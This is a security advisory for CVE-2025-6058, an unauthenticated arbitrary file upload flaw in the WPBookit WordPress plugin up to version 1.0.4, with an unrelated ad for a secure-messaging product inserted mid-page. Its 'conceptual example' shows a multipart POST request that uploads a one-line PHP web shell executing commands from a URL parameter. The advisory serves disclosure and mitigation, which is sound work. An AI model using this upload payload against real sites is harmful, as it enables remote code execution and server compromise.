Overview
A severe vulnerability has been discovered in the WPBookit plugin for WordPress, a widely used platform for website creation and management. This vulnerability, designated as CVE-2025-6058, allows unauthenticated attackers to upload arbitrary files on a site’s server, possibly leading to remote code execution. Given WordPress’s popularity and the widespread use of its plugins across various industries, this vulnerability could potentially impact a significant number of websites globally if not mitigated promptly.
Vulnerability Summary
CVE ID: CVE-2025-6058
Severity: Critical (CVSS 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
WPBookit Plugin for WordPress | Versions up to and including 1.0.4
How the Exploit Works
The exploit takes advantage of a flaw in the image_upload_handle() function of the WPBookit WordPress plugin. This function, which is hooked via the ‘add_booking_type’ route, lacks proper file type validation. As a result, an attacker can upload arbitrary files, including malicious scripts, under the guise of innocent file types. Once uploaded, these files reside on the server and can potentially be executed remotely, compromising the system.
Conceptual Example Code
Given the nature of the vulnerability, an attacker might exploit it through an HTTP request like the one shown below:
POST /add_booking_type HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="image"; filename="exploit.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
----WebKitFormBoundary7MA4YWxkTrZu0gWIn this conceptual example, the attacker attempts to upload a PHP file that triggers a system command when accessed with a specific parameter, leading to remote code execution.
Mitigation
Users should apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation, blocking suspicious file uploads based on file type or content.